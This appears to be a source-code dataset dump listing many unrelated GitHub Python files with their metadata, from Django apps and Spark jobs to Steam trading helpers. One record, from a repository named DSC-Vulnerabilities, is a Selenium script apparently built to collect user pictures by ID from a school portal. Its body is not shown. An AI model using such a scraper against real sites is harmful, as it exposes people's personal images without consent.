lista = [] lista1 = [] lista2 = [] lista3 = [] while True: alt = float(input("Indique su estatura: ")) if alt == 0: print("Alumnos más altos de 1,70 m:",len(lista)) print("Alumnos entre 1,60 y 1,70 m (inclusive):",len(lista1)) print("Alumnos entre 1,50 y 1,60 m (inclusive):",len(lista2))...
[ "jmispain@gmail.com" ]
jmispain@gmail.com
c69eab5f385b8015d34adb935d14fef395370dcf
8cb776f03870ab6ebdf2558ad25516f715be79d8
/tensile_tester/views.py
309ade408d87ebc1b94aa7a9450b0d45fffc6e32
[]
no_license
JulianKimmig/TensileTester
bb9a58aa1d84d977815d5b7aa3671b0ebffb525e
2c52342031130b9cfe21c6aec24868e218386412
refs/heads/master
2020-07-08T23:06:23.335446
2019-08-22T13:55:29
2019-08-22T13:55:29
203,805,784
0
0
null
null
null
null
UTF-8
Python
false
false
8,013
py
# Create your views here. import json import logging import os import time import numpy as np import pandas as pd from django.shortcuts import render, redirect from django.utils.safestring import mark_safe from django.views import View from plug_in_django.manage import CONFIG from tensile_tester.apps import TensileTe...
[ "julian-stobbe@gmx.de" ]
julian-stobbe@gmx.de
7ce62fcf3e249909c34273756aebfac403c2b879
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/23/usersdata/134/12369/submittedfiles/av1_2.py
4f5a24414af8bcff93f9204bbb739083ba7a9bd2
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
636
py
# -*- coding: utf-8 -*- from __future__ import division import math n = int(input('Digite n:')) x1 = int(input('Digite a coordenada em x para a figura 1:')) y1 = int(input('Digite a coordenada em y para a figura 1:')) x2 = int(input('Digite a coordenada em x para a figura 2:')) y2 = int(input('Digite a coordenada em y ...
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
ec61edb372da268e0930cb58292ef8c914745487
c77f1d4976d241574a9bf68ee035632a010cdc85
/qualification/migrations/0003_auto_20190102_1150.py
a59750689f991a27692f605996293a2b3e986d03
[]
no_license
alifarazz/csesa-django
e24847fb1a7a2dc0c0f56f396b66c28d63efc869
7d77686b95796b30d5c65957776b2bbe927445b5
refs/heads/master
2020-04-27T13:27:10.119436
2019-03-07T16:23:37
2019-03-07T16:23:37
174,370,553
0
0
null
2019-03-07T15:27:00
2019-03-07T15:26:58
Python
UTF-8
Python
false
false
1,207
py
# Generated by Django 2.0.9 on 2019-01-02 11:50 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('qualification', '0002_qualificationform'), ] operations = [ migrations.CreateModel( name='Quest...
[ "alimahdiyar77@gmail.com" ]
alimahdiyar77@gmail.com
d932577fc1d8b71405a05fa54c4ae2ec74119e08
fe6f6d11dde2a3205ae9758c7d4eb1f824b84102
/venv/lib/python2.7/site-packages/pylint/test/input/func___name___access.py
def867475829143945bd7552ef152ca874170278
[ "MIT" ]
permissive
mutaihillary/mycalculator
ebf12a5ac90cb97c268b05606c675d64e7ccf8a6
55685dd7c968861f18ae0701129f5af2bc682d67
refs/heads/master
2023-01-10T14:56:11.780045
2016-09-20T12:30:21
2016-09-20T12:30:21
68,580,251
0
0
MIT
2022-12-26T20:15:21
2016-09-19T07:27:48
Python
UTF-8
Python
false
false
515
py
# pylint: disable=R0903,W0142 """test access to __name__ gives undefined member on new/old class instances but not on new/old class object """ __revision__ = 1 class Aaaa: """old class""" def __init__(self): print self.__name__ print self.__class__.__name__ class NewClass(object): """new c...
[ "mutaihillary@yahoo.com" ]
mutaihillary@yahoo.com
4f53587d3e9d9640509c3d4b527244d390f9eb51
56113bfe5f1c70e99039d0dc4ac6f4e3286b56ef
/infer/model.py
84352d474edbe1c44169d07796a4cef62d83bfd0
[]
no_license
rlouf/mcx-infer
1d12a163b7007cb3f913a3a65e1381c5b2aed840
a1e46bc62dc829c4247e3557a1e41d933611db16
refs/heads/master
2023-03-03T05:57:01.224271
2021-02-08T10:03:51
2021-02-08T10:03:51
300,554,327
5
0
null
null
null
null
UTF-8
Python
false
false
1,589
py
from abc import ABC, abstractproperty, abstractmethod import jax import mcx class Model(ABC): def __init__(self): self.rng_key = jax.random.PRNGKey(0) self.trace = None def __repr__(self): return self.math_repr def prior_predict(self, *args, num_samples=1000, **kwargs): ...
[ "remilouf@gmail.com" ]
remilouf@gmail.com
2e2bdefe2b4e3ce8514dd285194ed6d9f43863bd
74b6523512f17f4c18096b956e4c3c074b53cf4c
/myNews.py
3170f0ec9c830c21762b973cc0dd598006213758
[]
no_license
howie6879/getNews
f7fdbd310c0e48a8a2c74504aa27893d25354ba1
ab5ad56c8520e60d5f568deed0081dfc127b7cd9
refs/heads/master
2020-05-21T23:49:40.805281
2017-04-02T03:51:33
2017-04-02T03:51:33
59,347,631
49
23
null
null
null
null
UTF-8
Python
false
false
348
py
"""myNews Usage: myNews [-p] <port> Options: -h,--help 显示帮助菜单 -p 端口号 Example: myNews -p 8888 设置端口号为8888 """ from docopt import docopt from server import main def cli(): kwargs = docopt(__doc__) port = kwargs['<port>'] main(port) if __name__ == "__main__": cli()
[ "xiaozizayang@gmail.com" ]
xiaozizayang@gmail.com
71039b5129c2b132a82935c0dc011e70fb6812f2
b44bd5b2a620d9f36e5d9528326595382ce6f25a
/coffeestats/caffeine/middleware.py
98675006101fd71c091f82dcbfec108cf125cadc
[ "MIT" ]
permissive
coffeestats/coffeestats-django
993f8cf1ad91c698ed12441afd57c4fa481583a4
8982dc736261ab3cbe0f3e1d94da40bb03cd8ff3
refs/heads/master
2021-01-17T07:20:04.472876
2019-12-21T12:30:51
2019-12-21T12:30:51
19,642,292
6
1
MIT
2019-12-21T12:32:03
2014-05-10T13:39:20
Python
UTF-8
Python
false
false
1,118
py
from django.conf import settings from django.http import HttpResponseRedirect from django.urls import reverse from django.utils.http import urlquote_plus class EnforceTimezoneMiddleware: """ Middleware to enforce that users have a time zone set. """ def __init__(self, get_response): self.get...
[ "jan@dittberner.info" ]
jan@dittberner.info
f45649d716fc9a7197fa3b7b160997ad00f2bc7e
6cb5155c882d4536b7283a623763801d9003ecec
/djproject/djproject/urls.py
df1749cf27e0ad7988ed6e84ce592d3bf6affe94
[]
no_license
prathmeshdjango/djangoproject1
e16f7ef9d6f87a084d258c2cb2fd2c4a0db7304f
100ac1c5949966a51074d39cc3a019fef1d27976
refs/heads/main
2023-01-14T10:28:30.737383
2020-11-23T06:00:42
2020-11-23T06:00:42
315,217,321
0
0
null
null
null
null
UTF-8
Python
false
false
1,015
py
"""djproject URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')...
[ "prathmeshamahajan03@gmail.com" ]
prathmeshamahajan03@gmail.com
3185803f84e25e30cfede19a48ec5f8a17fe442a
0a4019acdfcfbcdd8077dd3a5d75327189056af7
/spark/06GNIPDataGroupByRuleTag-Spark.py
b752a79c0f56a53e3fb51e29df5e6e8a548805a7
[]
no_license
lin1000/TwitterPublicAPI
0294a75c4194f14dbc1fd493a3bf977ace5a8957
82feede9e2ec41c912a2cf4aa8759563b676826e
refs/heads/master
2021-01-23T04:28:33.798681
2019-02-21T15:03:33
2019-02-21T15:03:33
92,928,432
0
0
null
2017-10-08T06:29:56
2017-05-31T09:19:35
Python
UTF-8
Python
false
false
9,698
py
import sys from pyspark import SparkContext, SparkConf import glob from os.path import basename from os.path import splitext import json from pyspark.sql import SQLContext import format.tweet as tw def gnip_2_csv(gniptweet): # Skip no tweet_id and handle if not gniptweet.has_key('id'): return if ...
[ "lin1000@gmail.com" ]
lin1000@gmail.com
cec45328cdf57a5676db59114e7172432441f9d4
718260336685a52961108a305ad81a85f05402d6
/GP/simple_machine_01.py
9d7d66135a4efcd6a39fa78665ad9e2d13f565bf
[]
no_license
gmgower/https-github.com-LambdaSchool-Computer-Architecture
4aae4259602498cfdb28d1e408bb85d263038844
5c122b7e19451dff2efdb49fad029a3cb7d7ec62
refs/heads/master
2022-12-28T08:30:25.786494
2020-10-09T03:52:45
2020-10-09T03:52:45
299,478,443
0
0
null
null
null
null
UTF-8
Python
false
false
2,355
py
import sys PRINT_TIM = 0b00000001 HALT = 0b00000010 PRINT_NUM = 0b01000011 SAVE = 0b10000100 # LDI PRINT_REGISTER = 0b01000101 ADD = 0b10000110 memory = [0] * 256 def load_memory(): if (len(sys.argv)) != 2: print("remember to pass the second file name") ...
[ "gmgower@gmail.com" ]
gmgower@gmail.com
e8effc6917de42d5c0e65db39dda12ac46e9f5b9
6f4e4b647df1bca98ce298e99d3e9adf3379914f
/modeltest.py
11cabcdf7ef190f6194ed11ee7a2060465e8190e
[]
no_license
ShiqiSun/RRTNN
358680f25f8e1981f84ba088c6b3d31556a93b31
f0120a83851eaaa55375d153d904723c964cc371
refs/heads/master
2022-12-01T10:01:02.364447
2020-08-09T01:24:26
2020-08-09T01:24:26
281,417,373
0
0
null
null
null
null
UTF-8
Python
false
false
5,083
py
from keras.models import load_model import numpy as np from RRT.src.utilities.plotting import Plot from RRT.src.search_space.search_space import SearchSpace from region import * def testmodel_fromzero(path, xinit, yinit): x_up_bound = 60 # 120 x_low_bound = 0 y_up_bound = 60 # 120 y_low_bound = 0 ...
[ "shiqi.sun@duke.edu" ]
shiqi.sun@duke.edu
9fdb4d019b5ec120c7bd4c3cbe140bf7023e5911
e32801b4debf07340b98255eb35e2c41ba2d2bb5
/scripts/addons_extern/animation_nodes_master/nodes/spline/spline_info.py
83687abbd74969916131dea3e58cb5731c0728d3
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
JuhaW/blenderpython
8c7130484690339c06f85b740c2f9e595b34a9dc
ee7b3a9f9d8cfbea32258e7ff05c3cb485a8879a
refs/heads/master
2021-07-21T23:59:42.476215
2017-10-25T08:42:04
2017-10-25T08:42:04
108,861,751
1
0
null
2017-10-30T14:25:14
2017-10-30T14:25:14
null
UTF-8
Python
false
false
505
py
import bpy from ... base_types.node import AnimationNode class SplineInfoNode(bpy.types.Node, AnimationNode): bl_idname = "an_SplineInfoNode" bl_label = "Spline Info" def create(self): self.newInput("Spline", "Spline", "spline", defaultDrawType = "PROPERTY_ONLY") self.newOutput("Vector Lis...
[ "meta.androcto1@gmail.com" ]
meta.androcto1@gmail.com
81e0e271bc79314d2a63e264a4fb2ebf926e3631
7ae6e33e978e214002f94aa9fa473783bdb1a7d7
/distgan/distgan.py
40cd76b250945a753ab1dadb00d68349d796407d
[]
no_license
archmaester/gan-zoo
c7e63c128f1e83e6d3181f40963d7c296becf86e
36eef93dffe949219d9ca782c765ca7c6b4c0fec
refs/heads/master
2020-04-07T21:47:20.284235
2018-12-26T06:35:08
2018-12-26T06:35:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,309
py
import tensorflow as tf from data_loader.data_utils_sine import Data from models.model_distgan_sine import Model from trainers.trainer import Trainer from evaluate.evaluator import Evaluator from settings.config_sine import load_settings_from_file from utils.dirs import create_dirs from utils.logger import Logger from...
[ "keswanimonish@yahoo.com" ]
keswanimonish@yahoo.com
78d77000f9044e59818d10fa6c44a41334a60c95
419fe1725040d83075a4983986f500d75e098564
/Sort/LargestNumber.py
56b625f5c0cc12aad379bb9a132b44c6fcb0f9ec
[]
no_license
snanoh/Python-Algorithm-Study
66a2f258b0b215f4047574d29780c54fb2b34643
c529088d32a2692f38071ed0d18c198543b6b9de
refs/heads/main
2023-03-22T03:27:15.914974
2021-02-18T12:41:16
2021-02-18T12:41:16
319,297,862
0
0
null
null
null
null
UTF-8
Python
false
false
478
py
from typing import List def to_swap(n1: int, n2: int) -> bool: return str(n1) + str(n2) < str(n2) + str(n1) # 삽입 정렬 구현 def largestNumber( nums: List[int]) -> str: i = 1 while i < len(nums): j = i while j > 0 and to_swap(nums[j - 1], nums[j]): nums[j], nums[j - 1] = nums[j - 1...
[ "njs1324@gmail.com" ]
njs1324@gmail.com
61c6ccd66c69dcc38f504e14f4d66366d9bc51e6
b8f4b32171bba9e60a101f5a605e084c9aa974fd
/BaseTools/Source/Python/Workspace/InfBuildData.py
7675b0ea00ebd6a5fc3e823c965e32066f66f650
[ "BSD-3-Clause", "BSD-2-Clause-Patent" ]
permissive
jinjhuli/slimbootloader
3137ab83073865b247f69b09a628f8b39b4c05ee
cfba21067cf4dce659b508833d8c886967081375
refs/heads/master
2023-07-11T12:59:51.336343
2020-09-11T00:16:48
2020-09-11T00:24:52
149,729,121
1
0
BSD-2-Clause
2018-09-21T07:49:42
2018-09-21T07:49:42
null
UTF-8
Python
false
false
48,567
py
## @file # This file is used to create a database used by build tool # # Copyright (c) 2008 - 2018, Intel Corporation. All rights reserved.<BR> # (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR> # SPDX-License-Identifier: BSD-2-Clause-Patent # from __future__ import absolute_import from Common...
[ "maurice.ma@intel.com" ]
maurice.ma@intel.com
cbc29434aacb4197e0659ac27759672a36ea6776
6579f8ce0a7d27af6fc87d72d012a486bd889eea
/uglynumbers.py
ef4e1efe8e9e8d2cf57f596c76f682f22a074bff
[]
no_license
ankithmjain/algorithms
bbd94be6828a6e520782afd302b4faac117df1ca
fe439df150fb3830ed8f0bd3d2456dacca933663
refs/heads/master
2020-03-27T14:47:18.015750
2018-08-28T16:47:28
2018-08-28T16:47:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,203
py
def getNthUglyNo(n): ugly = [0] * n # To store ugly numbers # 1 is the first ugly number ugly[0] = 1 # i2, i3, i5 will indicate indices for 2,3,5 respectively i2 = i3 = i5 = 0 # set initial multiple value next_multiple_of_2 = 2 next_multiple_of_3 = 3 next_multiple_of_...
[ "noreply@github.com" ]
ankithmjain.noreply@github.com
beb8f00ca4461f449d82782c0683a196f2828a6a
073c7ae30b0fbdadb3f60bdcf37940a496a3b2eb
/python/util.py
f88ba65b52323c39f073a193f6750bc183bd56c0
[ "MIT" ]
permissive
cms-ttbarAC/CyMiniAna
0e2a771473cf23eb931aa0ae7a015a5165f927b9
405b1ac6639f8a93297e847180b5a6ab58f9a06c
refs/heads/master
2021-05-15T22:57:36.033299
2018-07-31T20:39:11
2018-07-31T20:39:11
106,871,363
0
1
MIT
2018-07-31T20:39:12
2017-10-13T20:41:28
C++
UTF-8
Python
false
false
5,834
py
""" Created: -- Last Updated: 2 March 2018 Dan Marley daniel.edison.marley@cernSPAMNOT.ch Texas A&M University ----- File that holds any and all misc. functions to be called from other python scripts. (All information in one file => one location to update!) """ import ROOT import numpy as np class Sample...
[ "daniel.edison.marley@cern.ch" ]
daniel.edison.marley@cern.ch
3637fd3e296a3f5f82d57cb07e58f56f4f0e112c
04f3301300d5db73b311b329fa496ee3a93af1e1
/blog_tech/blog/models.py
03df17699e66f7164ac13260201e8b2a3c6de33f
[]
no_license
verma-varsha/blog_tech
e7f8054086fb07584ddd74f82174f11c06f654e6
4a054e720a2f69123ca7892f51128c5ccd106af7
refs/heads/master
2020-04-06T06:55:07.134852
2016-09-05T11:44:20
2016-09-05T11:44:20
65,595,156
1
0
null
null
null
null
UTF-8
Python
false
false
1,327
py
from __future__ import unicode_literals from django.template.defaultfilters import slugify from django.db import models # Create your models here. class Tag(models.Model): tag_title=models.CharField(max_length=100) slug=models.SlugField(null=True) def save(self, *args, **kwargs): self.slug=slugify(...
[ "varsha.verma.eee15@itbhu.ac.in" ]
varsha.verma.eee15@itbhu.ac.in
7b144d09152b90fe9b271efb75147d60dcc5fff4
2e5bf9b0c6f83a63a7048b32ca544779dbe9c2a7
/nuvo.py
7bf80a9b2ebd20f5f78c339d57ee3ccf634440a1
[]
no_license
stmrocket/nuvo-polyglot
01ec9a8fe87ea802d7e017453b9d08d3f1064242
8366b0453694c72dc755fbffafdb65c8b8bee940
refs/heads/master
2021-06-13T22:39:04.597918
2017-05-02T02:17:03
2017-05-02T02:17:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,181
py
from polyglot.nodeserver_api import SimpleNodeServer, PolyglotConnector from nuvo_nodes import NuvoMain VERSION = "0.0.1" class NuvoNodeServer(SimpleNodeServer): """ Nuvo Node Server """ zones = [] def setup(self): super(SimpleNodeServer, self).setup() manifest = self.config.get('manife...
[ "brett.hale@ticketmaster.com" ]
brett.hale@ticketmaster.com
cd92ecd38dfe509e767b4977f1112c79d390744f
0bfe6df147ffa74b6d2800391981273149502684
/visionary/visionary/migrations/0002_add_model_Mindmap.py
5ab5e8e1132a90e50d890cd2eef82b5aab730db0
[]
no_license
lumenwrites/digitalMind_django
829c95eca4720c2bbe71d14bdcce64e9eccd3752
0968f0006cf450f2796736cd604c5f6cba82147f
refs/heads/master
2021-05-27T14:54:35.108215
2014-09-11T09:48:58
2014-09-11T09:48:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,903
py
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Mindmap' db.create_table('visionary_mindmap', ( ('id', self.gf('django.db.models...
[ "raymestalez@gmail.com" ]
raymestalez@gmail.com
d9a8d10ec7e7bd0b7885e0cffc746e6ecfe83e82
0e4c89041021eea295a5a9a848e330dbbeb80d9f
/server/phpcafe/urls.py
eb9da4da1ba7791219f8c5b29c883bcdc0baa54d
[]
no_license
emmanuelduv/pycafe
2611780d960b7262f62f3d4dd023d44e9f645aae
0eb2eadeb27a9a8bc9e2b6e9ec1a40d7b9bfb33c
refs/heads/master
2021-01-01T05:50:39.028548
2013-04-07T20:13:04
2013-04-07T20:13:04
9,247,778
2
2
null
null
null
null
UTF-8
Python
false
false
3,691
py
from django.conf.urls import patterns, include, url from django.views.generic import DetailView, ListView from cyber.models import Vendeur, Utilisateur from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodisco...
[ "dede@station3.(none)" ]
dede@station3.(none)
0c724cb818b956ff13f750d4e53c877c0ac027c7
2668b2b72dbd510870c86b5c5d82cbae0371f4d9
/steam_ops.py
2cdaf24886cf3c069a0007ae0a5ade7348f1782c
[]
no_license
korrnev/ShorelineB
1669353eaf5cb9829997206a0f3957fb6550f7f2
38ca6ad2236af02e3c55928af86a2cdde7f3c627
refs/heads/master
2023-05-14T20:07:08.588958
2020-04-15T07:49:50
2020-04-15T07:49:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,040
py
# Core import json import sys import os import pickle # The module, that helps to interact with the steam API import steam # Steam WebAPI from steampy.client import SteamClient, Asset # Steam Trades API from steampy.utils import GameOptions import db import requests USER_DATA_FOLDER = 'userdata' # Folder, where store ...
[ "amgeow@gmail.com" ]
amgeow@gmail.com
4f2e094308971e7278a9ee7bc2400e22fc046ba7
39023557444c7448766215bd2e29e043caf3b1df
/dsutils/evaluate.py
c28ba8dc53d9fbf06852ea7b1deb168f5d1b43d0
[ "MIT" ]
permissive
RTJ19/dsutils_dev
95899bd1fddafc4cb8a11f74e21abae75613957f
92dc6f6583d80cd23a1afa935ec33df796efdc39
refs/heads/master
2020-08-31T13:24:34.402058
2019-11-30T08:06:54
2019-11-30T08:06:54
218,700,335
0
0
null
null
null
null
UTF-8
Python
false
false
3,103
py
import matplotlib.pyplot as plt import pyspark.sql.functions as F from pyspark.sql import Window from pyspark_dist_explore import hist from tqdm import tqdm_notebook as tqdm def get_eda_plots(df, only_categorical=False, only_numerical=False ,\ hspace=0...
[ "noreply@github.com" ]
RTJ19.noreply@github.com
1a0586b543e61229aa5c7ecc3626c76951c49596
aea3b522c0f8c6f82279cf6cc70bc11b22ef9f02
/feincms3/mixins.py
872c3c2269da46af9112d0eb37dba939ddbcdc59
[ "BSD-2-Clause" ]
permissive
hancush/feincms3
0dfbb98f85f9bd2c2edf98cdb8de298f0188b17c
782a4ee83a36756752b2f9aa225eed4dc402ff4c
refs/heads/master
2020-04-04T11:55:39.289197
2018-10-31T18:49:47
2018-10-31T18:49:47
155,908,332
0
0
NOASSERTION
2018-11-02T18:44:39
2018-11-02T18:44:39
null
UTF-8
Python
false
false
5,877
py
# coding=utf-8 from django.conf import settings from django.db import models from django.db.models import signals from django.utils.translation import activate, get_language, ugettext_lazy as _ from tree_queries.fields import TreeNodeForeignKey from feincms3.utils import validation_error class MenuMixin(models.Mod...
[ "mk@feinheit.ch" ]
mk@feinheit.ch
f08bad40280e387f7a256b2948525a086e40bdc5
255c4794cfed32d3e7a4225de1db31b00679c932
/UserIDPictureSaving.py
ebfe84846d4ba4d2bda0af5ecab182b8cc010aaf
[]
no_license
JPeterD/DSC-Vulnerabilities
fb1b179e9dbf2c3f3d57e1dc63dc6da071b74a93
7ac585c70b90a9a9362243f38e447675872568a2
refs/heads/master
2022-12-09T18:59:28.260614
2020-09-12T20:54:30
2020-09-12T20:54:30
295,024,322
0
0
null
null
null
null
UTF-8
Python
false
false
1,574
py
from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.support.ui import Select import urllib3 #Path to your chromedriver pchromdriver = '/usr/lib/chromium-browser/chromedriver' browser = webdriver.Chrome(executable_path = pchromdriver) url = 'https://dsc.orbund.com/ein...
[ "noreply@github.com" ]
JPeterD.noreply@github.com
508bb4c1db151ac198819deeafd7f02c0c2081d2
b176114c038e2e1babd1930f9c2cd5bfae759eac
/lib/aws/xray/client.py
3e7ad5632afa9934707cac46be55d8e3a00d9bde
[]
no_license
Datenworks/xray2elasticsearch
5a1828f70b86d924809c1cb0be3a7c482653fa76
2d52329a9d0655c5645f4799e7eb098a2db5af96
refs/heads/master
2022-12-11T15:43:05.913962
2020-09-11T17:51:58
2020-09-11T17:51:58
294,723,721
2
0
null
null
null
null
UTF-8
Python
false
false
2,167
py
import boto3 from datetime import datetime, timedelta from lib import log class XrayClient(object): def __init__(self): self.client = boto3.client('xray') def get_trace_summaries(self, start: datetime, end: datetime, ...
[ "richard.lopes@datenworks.com" ]
richard.lopes@datenworks.com
ef12eac455fda006c09060cce2af4e26af2be958
383cc6bbed4d52d3c37723fcc52660c62698cc2e
/Exercise_2.py
d39db3375acca0fcc37932758b9a231e77c94c3d
[]
no_license
nikrasiya/PreCourse_1
44435af405c27f3dd5cee8832e6da2c0b4e95943
e3f1d659e5574805a1d7ecf66d49027007c6dce1
refs/heads/master
2020-09-15T03:19:33.666707
2020-01-05T13:26:26
2020-01-05T13:26:26
223,335,958
0
0
null
2019-11-22T06:11:31
2019-11-22T06:11:29
null
UTF-8
Python
false
false
2,505
py
class Node: def __init__(self, data): self.data = data self.next = None def __str__(self): return f'{self.data}' class Stack: ''' Time Complexity: Constant O(1) Space Complexity: Constant O(1) ''' def __init__(self): self.top = None self.st...
[ "noreply@github.com" ]
nikrasiya.noreply@github.com
cc1bf5a3a967c4792c02aa5ab55641dc928afbf9
9ede69f65681a2d75d74919bddbaef2b50c20e18
/LogisticReal.py
3f6bbc7764967ca9e2da4cadd4d413fa3aba89e3
[]
no_license
DarcyMyers/maclearn
b30fa8c9ab9375e7055bfee8b629201eceb3aa0c
2275b5b6fface75b9c1007183cb72eb27b31976b
refs/heads/master
2021-01-13T07:16:46.263997
2016-08-29T01:42:04
2016-08-29T01:42:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,541
py
from collections import OrderedDict import copy import numpy from numpy import mean import pandas from pandas import DataFrame from pandas import Series import scipy import sklearn import sklearn.cross_validation from sklearn.cross_validation import ShuffleSplit import sklearn.feature_selection import sklearn.linear_mo...
[ "denniscwylie@users.noreply.github.com" ]
denniscwylie@users.noreply.github.com